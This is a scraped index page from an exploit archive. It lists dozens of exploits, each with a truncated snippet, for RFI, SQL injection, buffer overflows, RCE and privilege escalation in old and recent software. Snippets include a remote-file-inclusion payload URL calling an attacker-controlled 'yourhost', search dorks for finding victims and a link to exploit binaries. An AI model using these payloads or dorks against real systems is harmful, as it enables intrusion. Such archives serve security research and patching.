Microsoft Windows Server 2003 - NetpIsRemote() Remote Overflow (MS06-040) (Metasploit)

Microsoft Windows Server 2003 - NetpIsRemote Remote Overflow MS06-040 Metasploit netapiwin2003.pm MS06-040 Exploit for Windows Server 2003 SP0 Author: Trirat Puttaraksa Kira http://sf-freedom.blogspot.com For educational purpose only Note: This exploit is developed because of my question "Is it...

RedBlog 0.5 - index.php Remote File Inclusion

RedBlog 0.5 - index.php Remote File Inclusion source: https://www.securityfocus.com/bid/19658/info RedBLoG is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file containing...

Fantastic News 2.1.3 - script_path Remote File Inclusion

Fantastic News 2.1.3 - scriptpath Remote File Inclusion ============================================================================================== Fantastic News = v2.1.3 CONFIGscriptpath Remote File Inclusion Exploit...

VWar 1.5 - war.php?vwar_root Remote File Inclusion

VWar 1.5 - war.php?vwarroot Remote File Inclusion source: https://www.securityfocus.com/bid/19387/info VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary...

Microsoft Internet Explorer - MDAC Remote Code Execution (MS06-014)

Microsoft Internet Explorer - MDAC Remote Code Execution MS06-014 !/bin/sh - "exec" "python" "-O" "$0" "$@" doc = """BL4CK - MS06-014 RDS.DataStore - Data Execution CVS-2006-0003 MS06-014 April 2006 this is a bit out-dated, but works very well Usage: ./bl4ckms06014.py...

EQdkp 1.3.0 - dbal.php Remote File Inclusion

EQdkp 1.3.0 - dbal.php Remote File Inclusion Title: EQdkp = 1.3.0 Remote File Inclusion URL: http://www.eqdkp.com/ Dork: "powered by EQdkp" Author: OLiBekaS greetz: Skulmatic, weleh, brockencode, and all papmahackerlink crew Exploit: /includes/dbal.php?eqdkprootpath=http://yourhost/cmd.gif?cmd=ls...

Eudora Qualcomm WorldMail 3.0 - IMAPd Remote Overflow

Eudora Qualcomm WorldMail 3.0 - IMAPd Remote Overflow !/usr/bin/python PRE AUTHENTICATION Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 Overflow. Discovered by Tim Shelton - [email protected] Coded by [email protected] Details: SEH gets overwritten at 970 bytes in the LIS...

PHPX 3.5.x - Admin login.php SQL Injection

PHPX 3.5.x - Admin login.php SQL Injection source: https://www.securityfocus.com/bid/15680/info PHPX is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation coul...

PHP 4.x5.0.x - Arbitrary File Upload GLOBAL Variable Overwrite

PHP 4.x5.0.x - Arbitrary File Upload GLOBAL Variable Overwrite source: https://www.securityfocus.com/bid/15250/info PHP is prone to a vulnerability that allows attackers to overwrite the GLOBAL variable via HTTP POST requests. By exploiting this issue, remote attackers may be able to overwrite th...

Noahs Classifieds 1.3 - index.php Cross-Site Scripting

Noahs Classifieds 1.3 - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/14835/info Noah's Classifieds is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage thi...

Adobe Version Cue 1.01.0.1 (OSX) - -lib Local Privilege Escalation

Adobe Version Cue 1.01.0.1 OSX - -lib Local Privilege Escalation / Adobe Version Cue VCNativeOSX: local root exploit. dyld by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program allows un-privileged local users to load arbitrary libraries"bundles" while running setuid...

K-COLLECT CSV_DB.CGI 1.0i_DB.CGI 1.0 - Remote Command Execution

K-COLLECT CSVDB.CGI 1.0iDB.CGI 1.0 - Remote Command Execution // source: https://www.securityfocus.com/bid/14059/info CSVDB.CGI/iDB.CGI are affected by a remote command execution vulnerability. Specifically, an attacker can supply arbitrary commands prefixed with the '|' character through the...

MidiCart PHP - Item_List.php?SecondGroup SQL Injection

MidiCart PHP - ItemList.php?SecondGroup SQL Injection source: https://www.securityfocus.com/bid/13514/info MidiCart PHP is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacke...

paNews 2.0b4 - Remote Admin Creation SQL Injection

paNews 2.0b4 - Remote Admin Creation SQL Injection / paNews v2.0b4 silePNEWSxpl This exploit utilize SQL injection for create a new user with admin privileges on paNews software system. References: packetstormsecurity.org/0503-exploits/panews.txt coded by: Silentium of Anacron Group Italy date:...

NapShare 1.2 - Remote Buffer Overflow (1)

NapShare 1.2 - Remote Buffer Overflow 1 // source: https://www.securityfocus.com/bid/11967/info It is reported that NapShare is susceptible to a remote buffer overflow vulnerability. This is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a...

Master of Orion III 1.2.5 - Denial of Service

Master of Orion III 1.2.5 - Denial of Service / by Luigi Auriemma / include include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include include void stderrvoid char error;...

PostNuke 0.726 Phoenix - Multiple Vulnerabilities

PostNuke 0.726 Phoenix - Multiple Vulnerabilities PostNuke Multiple Vulnerabilities Vendor: PostNuke Product: PostNuke Version: CODE VLID = Should be the valid id number of a file for download. CODE = Any script or HTML etc. Solution: An update has been released regarding the SQL Injection...

Epic 1.0.11.0.x - CTCP Nickname Server Message Buffer Overrun

Epic 1.0.11.0.x - CTCP Nickname Server Message Buffer Overrun // source: https://www.securityfocus.com/bid/8999/info A remotely exploitable buffer overrun has been reported in Epic. This issue may reportedly be exploited by a malicious server that supplies an overly long nickname in a CTCP...

Microsoft Windows - RPC2 Universal Denial of Service (RPC3) (MS03-039)

Microsoft Windows - RPC2 Universal Denial of Service RPC3 MS03-039 / Windows RPC2 Universal Exploit MS03-039 & Remote DoS RPC3 / / Must be used with the associated shell / / / / This exploit works against unpatched systems MS03-039 / / And cause a Denial of Service on patched systems rpc3 / inclu...

Trend Micro ScanMail For Exchange 3.8 - Authentication Bypass

Trend Micro ScanMail For Exchange 3.8 - Authentication Bypass source: https://www.securityfocus.com/bid/6619/info A vulnerability has been reported for ScanMail for Microsoft Exchange. The vulnerability allows a remote attacker to bypass existing authentication mechanisms and obtain access to...

Microsoft Windows XP2000NT 4.0 - Window Message Subsystem Design Error (2)

Microsoft Windows XP2000NT 4.0 - Window Message Subsystem Design Error 2 // source: https://www.securityfocus.com/bid/5408/info A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely...

Brecht Claerhout Sniffit 0.3.6 HIP0.3.7 Beta - Mail Logging Buffer Overflow (3)

Brecht Claerhout Sniffit 0.3.6 HIP0.3.7 Beta - Mail Logging Buffer Overflow 3 // source: https://www.securityfocus.com/bid/1158/info Sniffit is a freely available, open source network monitoring tool. It is designed for use on the Unix and Linux Operating Systems. Sniffit contains a remotely...

PHP-Nuke Network Tool 0.2 Addon - MetaCharacter Filtering Command Execution

PHP-Nuke Network Tool 0.2 Addon - MetaCharacter Filtering Command Execution source: https://www.securityfocus.com/bid/3552/info Network Tool is a PHPNuke addon, written and maintained by Rick Fournier. It is designed to offer network features such as nmap, traceroute, and ping from a web interfac...

Phorum 3.0.7 - auth.php3 Backdoor Access

Phorum 3.0.7 - auth.php3 Backdoor Access source: https://www.securityfocus.com/bid/2274/info Phorum is a freely available, open source, popular WWW Board written by Brian Moon. It is designed to enhance the services offered on a web page, allow users to interact with one another through bulletin...

FreeBSD 2.x HP-UX 91011 Kernel 2.0.3 Windows NT 4.0Server 2003 NetBSD 1 - land.c loopback Denial of Service (5)

FreeBSD 2.x HP-UX 91011 Kernel 2.0.3 Windows NT 4.0Server 2003 NetBSD 1 - land.c loopback Denial of Service 5 / source: https://www.securityfocus.com/bid/2666/info A number of TCP/IP stacks are vulnerable to a "loopback" condition initiated by sending a TCP SYN packet with the source address and...

ATutor 2.2.4 - id SQL Injection

ATutor 2.2.4 - id SQL Injection Exploit Title: ATutor 2.2.4 - 'id' SQL Injection Date: 2020-02-23 Exploit Author: Andrey Stoykov Vendor Homepage: https://atutor.github.io/ Software Link: https://sourceforge.net/projects/atutor/files/latest/download Version: ATutor 2.2.4 Tested on: LAMP on Ubuntu...

MyVideoConverter Pro 3.14 - Movie Buffer Overflow

MyVideoConverter Pro 3.14 - Movie Buffer Overflow Exploit Title: MyVideoConverter Pro 3.14 - 'Movie' Buffer Overflow Exploit Author : ZwX Exploit Date: 2020-02-11 Vendor Homepage : http://www.ivideogo.com/ Tested on OS: Windows 10 v1803 Social: twitter.com/ZwX2a Steps to Reproduce: 1. Run the...

iOSmacOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()

iOSmacOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand While investigating possible shared memory issues in AGXCommandQueue::processSegmentKernelCommand, I noticed that the size checks used to parse the IOAccelKernelCommand in...

ExpertGPS 6.38 - XML External Entity Injection

ExpertGPS 6.38 - XML External Entity Injection + Exploit Title: ExpertGPS 6.38 - XML External Entity Injection + Date: 2019-12-07 + Exploit Author: Trent Gordon + Vendor Homepage: https://www.topografix.com/ + Software Link: http://download.expertgps.com/SetupExpertGPS.exe + Disclosed at: 7FEB202...

Online Job Portal 1.0 - user_email SQL Injection

Online Job Portal 1.0 - useremail SQL Injection Exploit Title: Online Job Portal 1.0 - 'useremail' SQL Injection Dork: N/A Date: 2020-02-06 Exploit Author: Ihsan Sencan Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html Software Link:...

Online Book Store 1.0 - Arbitrary File Upload

Online Book Store 1.0 - Arbitrary File Upload Exploit Title: Online Book Store 1.0 - Arbitrary File Upload Google Dork: N/A Date: 2020-01-16 Exploit Author: Or4nG.M4n aka S4udiExploit Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/ Software...

AVE DOMINAplus 1.10.x - Authentication Bypass

AVE DOMINAplus 1.10.x - Authentication Bypass Exploit: AVE DOMINAplus 1.10.x - Authentication Bypass Date: 2019-12-30 Author: LiquidWorm Vendor: AVE S.p.A. Product web page: https://www.ave.it | https://www.domoticaplus.it Affected version: Web Server Code 53AB-WBS - 1.10.62 Advisory ID:...

Product Key Explorer 4.2.0.0 - Key Denial of Service (PoC)

Product Key Explorer 4.2.0.0 - Key Denial of Service PoC Exploit Title: Product Key Explorer 4.2.0.0 - 'Key' Denial of Service POC Discovery by: SajjadBnd Date: 2019-12-10 Vendor Homepage: http://www.nsauditor.com Software Link: http://www.nsauditor.com/downloads/productkeyexplorersetup.exe Teste...

CBAS-Web 19.0.0 - id Boolean-based Blind SQL Injection

CBAS-Web 19.0.0 - id Boolean-based Blind SQL Injection Exploit Title: CBAS-Web 19.0.0 - 'id' Boolean-based Blind SQL Injection Google Dork: NA Date: 2019-11-11 Exploit Author: LiquidWorm Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/ Software Link:...

Alps HID Monitor Service 8.1.0.10 - ApHidMonitorService Unquote Service Path

Alps HID Monitor Service 8.1.0.10 - ApHidMonitorService Unquote Service Path Exploit Title: Alps HID Monitor Service 8.1.0.10 - 'ApHidMonitorService' Unquote Service Path Date: 2019-11-07 Exploit Author: Héctor Gabriel Chimecatl Hernández Vendor Homepage: https://www.alps.com/e/ Software Link:...

Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation

Microsoft Windows 7 build 7601 x86 - Local Privilege Escalation include include / EDB Note: Download https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47176.zip / / PREPROCESSOR DEFINITIONS / define MNSELECTITEM 0x1E5 define MNSELECTFIRSTVALIDITEM 0x1E7 define...

Microsoft DirectWrite AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect

Microsoft DirectWrite AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect -----===== Background =====----- AFDKO Adobe Font Development Kit for OpenType is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library...

Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL

Qualcomm Android - Kernel Use-After-Free via Incorrect setpagedirty in KGSL The following issue exists in the android-msm-wahoo-4.4-pie branch of https://android.googlesource.com/kernel/msm and possibly others: When kgslmementrydestroy in drivers/gpu/msm/kgsl.c is called for a writable entry with...

Job Portal 3.1 - job_submit SQL Injection

Job Portal 3.1 - jobsubmit SQL Injection =========================================================================================== Exploit Title: NewJobPortal v3.1 - 'jobsubmit' SQL Inj. Dork: N/A Date: 25-03-2019 Exploit Author: Mehmet EMIROGLU Vendor Homepage:...

Pegasus CMS 1.0 - extra_fields.php Plugin Remote Code Execution

Pegasus CMS 1.0 - extrafields.php Plugin Remote Code Execution Exploit Title: Pegasus extrafields.php Plugin Remote Code Execution Date: 14 March 2019 Exploit Author: R3zk0n Vendor Homepage: https://www.wisdom.com.au/web/pegasus-cms Software Link: N/A Version: 1.0 Tested on: Linux CVE : N/A The...

Splunk Enterprise 7.2.4 - Custom App Remote Command Execution (Persistent Backdoor Custom Binary)

Splunk Enterprise 7.2.4 - Custom App Remote Command Execution Persistent Backdoor Custom Binary !/usr/bin/python Exploit Title: Splunk Enterprise 7.2.4 Custom App RCE persistent backdoor - custom binary payload Date: March 1, 2019 Exploit Author: Matteo Malvica Original Author: Lee Mazzoleni Vend...

Microsoft Edge Chakra 1.11.4 - Read Permission via Type Confusion

Microsoft Edge Chakra 1.11.4 - Read Permission via Type Confusion / Exploit Title: getting Read permission through Type Confusion Date: date Exploit Author: Fahad Aid Alharbi Vendor Homepage: https://www.microsoft.com/en-us/ Version: Chakra 1114 REQUIRED Tested on: Windows 10 CVE : cve-2019-0539 ...

C4G Basic Laboratory Information System (BLIS) 3.4 - SQL Injection

C4G Basic Laboratory Information System BLIS 3.4 - SQL Injection Exploit Title: C4G Basic Laboratory Information System BLIS 3.4 - Multiples SQL Injection Date: 01/31/2019 Software Links/Project: https://github.com/C4G/BLIS | http://blis.cc.gatech.edu/index.php Version: C4G Basic Laboratory...

Smoothwall Express 3.1-SP4 - Cross-Site Scripting

Smoothwall Express 3.1-SP4 - Cross-Site Scripting Exploit Title: Smoothwall Express 3.1-SP4-polar-x8664-update9 | Cross-Site Scripting Date: 06.02.2019 Exploit Author: Ozer Goker Vendor Homepage: http://www.smoothwall.org Software Link:...

devolo dLAN 550 duo+ Starter Kit - Cross-Site Request Forgery

devolo dLAN 550 duo+ Starter Kit - Cross-Site Request Forgery devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery Vendor: devolo AG Product web page: https://www.devolo.com Affected version: dLAN 500 AV Wireless+ 3.1.0-1 i386 Summary: Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter...

macOS 10.14.3 iOS 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem

macOS 10.14.3 iOS 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem / It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding this service. com.apple.iohideventsystem is hosted in hidd on MacOS and...

Yeswiki Cercopitheque - id SQL Injection

Yeswiki Cercopitheque - id SQL Injection Exploit Title: SQL Injection in Yeswiki Cercopitheque Date: 02/07/2018 Exploit Author: Mickael BROUTY @ark1nar - FIDENS Vendor Homepage: https://yeswiki.net Software Link: https://repository.yeswiki.net/cercopitheque/yeswiki-cercopitheque-2018-12-07-1.zip...

Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution

Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution Exploit Title: Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution Date: 2018-11-23 Exploit Author: Özkan Mustafa Akkuş AkkuS Contact: https://pentest.com.tr Vendor Homepage: https://www.fleetco.space Software Link:...

TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery (Configuration File Disclosure)

TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery Configuration File Disclosure Exploit Title: TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery Configuration File Disclosure Date: 2018-11-07 Exploit Author: Wadeek Vendor Homepage: https://www.tp-link.com...

Delta Sql 1.8.2 - Arbitrary File Upload

Delta Sql 1.8.2 - Arbitrary File Upload Exploit Title: Delta Sql 1.8.2 - Arbitrary File Upload Dork: N/A Date: 2018-10-25 Exploit Author: Ihsan Sencan Vendor Homepage: http://deltasql.sourceforge.net/ Software Link: https://sourceforge.net/projects/deltasql/files/latest/download Software Link:...